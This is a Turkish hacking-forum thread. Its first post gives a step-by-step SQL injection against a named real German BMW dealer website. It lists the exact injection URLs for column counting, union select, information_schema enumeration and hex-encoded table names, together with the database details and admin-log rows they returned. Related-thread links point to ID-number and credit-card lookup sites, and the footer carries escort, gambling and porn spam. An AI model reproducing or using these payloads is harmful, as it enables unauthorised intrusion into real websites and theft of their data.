Konu Bilgileri
Konu: Almanya Bmw Sitesi Sql Açığı Yazar: therapiz
Okunma: 1128 Yorum: 1
Konuyu Okuyanlar: 1 Ziyaretçi
Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5

#1
Arkadaşlar biraz komik anlatmaya çalıştım....Büyük bomba sonunda Gülümseme
Sql geliştirsin diye baya bi uzun oldu Gülümseme
Sitemiz bu arkadaşlar 'a işleme başlıyalım siteye 'a sonuna eklediğimizde sayfa da eksiklikler meydana geliyor..Yani sql açığı var Gülümseme Ama siteyi ana sayfaya yönlendirseydi bu açık korumalı olucaktı..
Kod:
http://www.bmw-graubaum.de/bmw.php?id=661-a
Kolon sayısını çekelim..Komutumuz order+by+
Kod:
http://www.bmw-graubaum.de/bmw.php?id=661+order+by+5--+
daha sonra hangi kolondan admin verilerini çekicemize bakalım Gülümseme komutumuz union+select+
Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,2,3,4,5--+
Ekrana yansıyan 2 ve 4 rakamları admin bilgileri ,idleri vb. şeyleri çekeceğimiz rakamlar demektir..
Devam edelim version() user() database() kodlarını bu rakamlara yansıtalım..
Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,version(),3,user(),5--+
Gördüğümüz üzere versionu= 5.1.72
User verisini çekelim = root@localhost

database ismini çekelim
Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,database(),3,4,5--+
database ismimiz= db_abr

Tablo isimlerini bulmaya geçelim ...Table komutu ile çekiyoruz veriyi..komutumuz from+information_schema.tables+where+table_schema=database()--+
Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()--+

log_admin,ta_admin,ta_admin2,ta_admin3,ta_agentta_aktuell,ta_angebot,ta_antrieb,ta_art,ta_aufbauta_baugruppen,ta_bauuntergruppen,ta_bearbeitungta_city_sub,ta_clicks,ta_dienstleistung,ta_farbeta_format,ta_getriebe,ta_haendlerclicks,ta_heberta_homepage,ta_hsnews,ta_jobs,ta_kfzsuche,ta_klassenta_kunden,ta_land,ta_mode,ta_news,ta_newskat
Tablo isimlerimiz bunlar...
Daha sonra tabloların içine bakalım neler varmış..Column kodu ile bakıyoruz..


Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_schema=database()--+

id,id_admin,id_user,time,sql,id,ip,id,ip,id,ip,id,vname,name,id,name,kurztext,text,qlink,eingabe,sperre,id_user,id,id_user,bezang,angebot,angpreis,id,name,id,name,id,name,klasse,kategorie,id,name,id,id_baugruppe,name,id,name,id,name,domain,id_region_sub,id,seite,time,id_region,ip,id,dienstleistung,gruppeid,name,name_en,name_ru,id,name,id
Tablolarımızın içinde bu sütunlar varmış Gülümseme
İsterseniz istediğiniz tablonun sütunlarını ekrana yansıta bilirsiniz..
Bunun için komutumuz and+table_name=table adı yada and+table_name=0xtablonun hexlenmiş hali şeklinde..
log_admin verisinin tablolarını bulalım... log_admini hexliyoruz..
log_admin= 6c6f675f61646d696e
Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_schema=database()+and+table_name=0x6c6f675f61646d696e--+
ekrana yansıttık ..
id,id_admin,id_user,time,sql
Şimdi en son işlem olarak admin verilerini çekelim..İd falan yazıyor büyük ihtimalle kullanıcı adı ve şifreyi bulamadık..İd zaten sonrası rakam falan oluyor Gülümseme id=1 gibi Açık Ağızlı Gülümseme
Kod:
http://www.bmw-graubaum.de/bmw.php?id=-661+union+select+1,id_admin,3,id_user,5+from+log_admin--+
0 / Eingabe: .. 15379 0 / Eingabe: .. 3482 0 / Eingabe: .. 15684


Gördüğümüz üzere zaten username,password,user,pass gibi veriler yok yani admin bilgilerini çekemiyoruz Açık Ağızlı Gülümseme Hepsini çektik onu çekemiyoruz Açık Ağızlı Gülümseme
Hex converter sitesi=
Kod:
http://www.swingnote.com/tools/texttohex.php
İyi günler umarım kafanızı daha fazla karıştırmamışımdır Gülümseme
Ara
Cevapla
#2
anlamıyorum bu açıklardan ama teşekkürler Açık Ağızlı Gülümseme
Ara
Cevapla


Almanya Bmw Sitesi Sql Açığı Konusu Araçları
Direk Link
HTML Link
BBCode Link
Paylaş


Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  TC Kimlik Sorgulama Sitesi Genest 253 40,498 18.10.2021, Saat:23:17
Son Yorum: öpoy11
  Telefon Numarası Sorgulama Sitesi Hoca 189 27,047 28.09.2021, Saat:00:14
Son Yorum: SpawNEren
  Banka Sitesi Admin Bilgisi YoldasMahir 36 7,567 05.08.2021, Saat:15:57
Son Yorum: byturbo07
Dikkat WebTasarım Sitesi Hacked! RaKeRS 0 241 07.07.2021, Saat:15:45
Son Yorum: RaKeRS
  Kredi Kartı Doğrulama Sitesi Genest 55 7,581 05.06.2021, Saat:07:30
Son Yorum: mehmetfatşh


mersin escort gaziantep escort canlı bahis siteleri tipobet bahis siteleri kaçak iddaa canlı bahis mobilbahis deneme bonusu deneme bonusu bodrum escort kuşadası escort türkçe altyazılı porno escort izmit Extremely sexy foursome with a hot black babe Horny pornstar Heidi Mayne in hottest gangbang, facial porn scene antalya escort bursa escort konya escort anadolu yakası escort anadolu yakası escort anadolu yakası escort anadolu yakası escort anadolu yakası escort anadolu yakası escort anadolu yakası escort anadolu yakası escort anadolu yakası escort bodrum escort izmir escort